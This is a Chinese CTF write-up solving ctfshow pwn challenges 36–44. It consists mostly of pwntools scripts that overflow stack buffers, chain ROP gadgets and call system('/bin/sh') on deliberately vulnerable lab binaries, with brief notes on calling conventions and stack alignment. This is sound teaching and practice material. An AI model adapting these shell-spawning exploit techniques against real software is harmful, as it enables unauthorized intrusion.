ctfshow刷题wp
grandctfshow刷题wp
栈溢出
pwn36

1 2 3 4 5 6 7 8
| from pwn import *
p = process('./pwn')
# p = remote('pwn.challenge.ctf.show', 28250) payload = cyclic(0x28+4) + p32(0x8048586) p.sendline(payload) p.interactive()
|
pwn37


1 2 3 4 5 6 7 8 9 10 11
| from pwn import *
p = process('./pwn')
# p = remote('pwn.challenge.ctf.show', 28250) get_flag = 0x08048521 payload = cyclic(0x12 + 0x4) + p32(get_flag)
p.sendline(payload) p.interactive()
|
pwn38
涉及到了栈对齐
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import *
p = process('./pwn')
# p = remote('pwn.challenge.ctf.show', 28250) get_flag = 0x400657
retn=0x40066d
payload = b'a'*(0xA+8) + p64(retn) + p64(get_flag) gdb.attach(p) p.sendline(payload) p.interactive()
|
pwn39
使用32位的参数传递规则来处理 参数传入栈上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import *
p = process('./pwn')
system_address=0x80483A0
second_data=0
first_data=0x8048750
payload = b'a'*(0x12+4) + p32(system_address)+p32(second_data)+p32(first_data)
p.sendline(payload) p.interactive()
|
pwn40
这次是64位 拿的寄存器传递参数 这次还是要将参数放入栈中 使用pop 传递给rdi
1
| ROPgadget --binary pwn --only "pop|ret"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
p = process('./pwn')
system_address=0x400520
bin_sh=0x400808
pop_rdi_retn=0x4007e3
retn=0x4004fe
payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh)+p64(retn)+p64(system_address)
p.sendline(payload) p.interactive()
|
pwn41
32位 只有sh 没有bin/sh 大差不差 直接栈传递参数就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import *
p = process('./pwn')
system_address=0x80483D0
first_data=0x80487BA
second_data=0
payload = b'a'*(0x12+4) +p32(system_address)+p32(0)+p32(first_data)
p.sendline(payload)
p.interactive()
|
pwn42
64位就是要考虑栈对齐和使用寄存器传递了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
p = process('./pwn')
system_address=0x400560
bin_sh=0x400872
pop_rdi_retn=0x400843
retn=0x40053e
payload = b'a'*(0xa+8) + p64(pop_rdi_retn)+p64(bin_sh) +p64(retn)+p64(system_address)
p.sendline(payload)
p.interactive()
|
pwn43
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
# 设置调试模式 context.log_level = 'debug'
# 启动进程并附加GDB io = process("./pwn") gdb.attach(io, """ b *main b *vulnerable_function c """)
# 定义关键地址 buf2 = 0x0804B060 system = 0x08048450 gets = 0x08048420
# 构造payload payload = b'a'*(0x6c + 4) # 填充缓冲区 + EBP payload += p32(gets) # 覆盖返回地址为gets payload += p32(system) # gets的返回地址(执行完gets后跳转到system) payload += p32(buf2) # gets的参数(写入位置) payload += p32(buf2) # system的参数(/bin/sh的地址)
# 调试信息 log.info("Payload length: %d" % len(payload)) log.info("Payload hex: %s" % payload.hex())
# 发送payload pause() io.sendline(payload) io.sendline(b"/bin/sh") # gets读取的内容
# 交互模式 io.interactive()
|
这里使用的是栈传递参数 由于call相当于 push了返回地址和jmp到了jmp 所以这里是直接使用的jmp的地址并且直接把返回地址压栈进去了
1 2 3 4
| |-------------------| | 返回地址 | ← gets执行完后要返回的地址 | 缓冲区指针 | ← gets的参数(写入位置) |-------------------|
|
pwn44
使用寄存器传递参数 考虑对齐问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
p = process('./pwn')
get_address=0x0400530
pop_rdi_ret=0x4007f3
buf2_address=0x602080
retn=0x4004fe
system_address=0x400520
payload=b'a'*(0xa+8) payload+=p64(pop_rdi_ret) payload+=p64(buf2_address) payload+=p64(get_address)
payload+=p64(pop_rdi_ret) payload+=p64(buf2_address) payload+=p64(system_address)
p.sendline(payload) p.sendline(b"/bin/sh") p.interactive()
|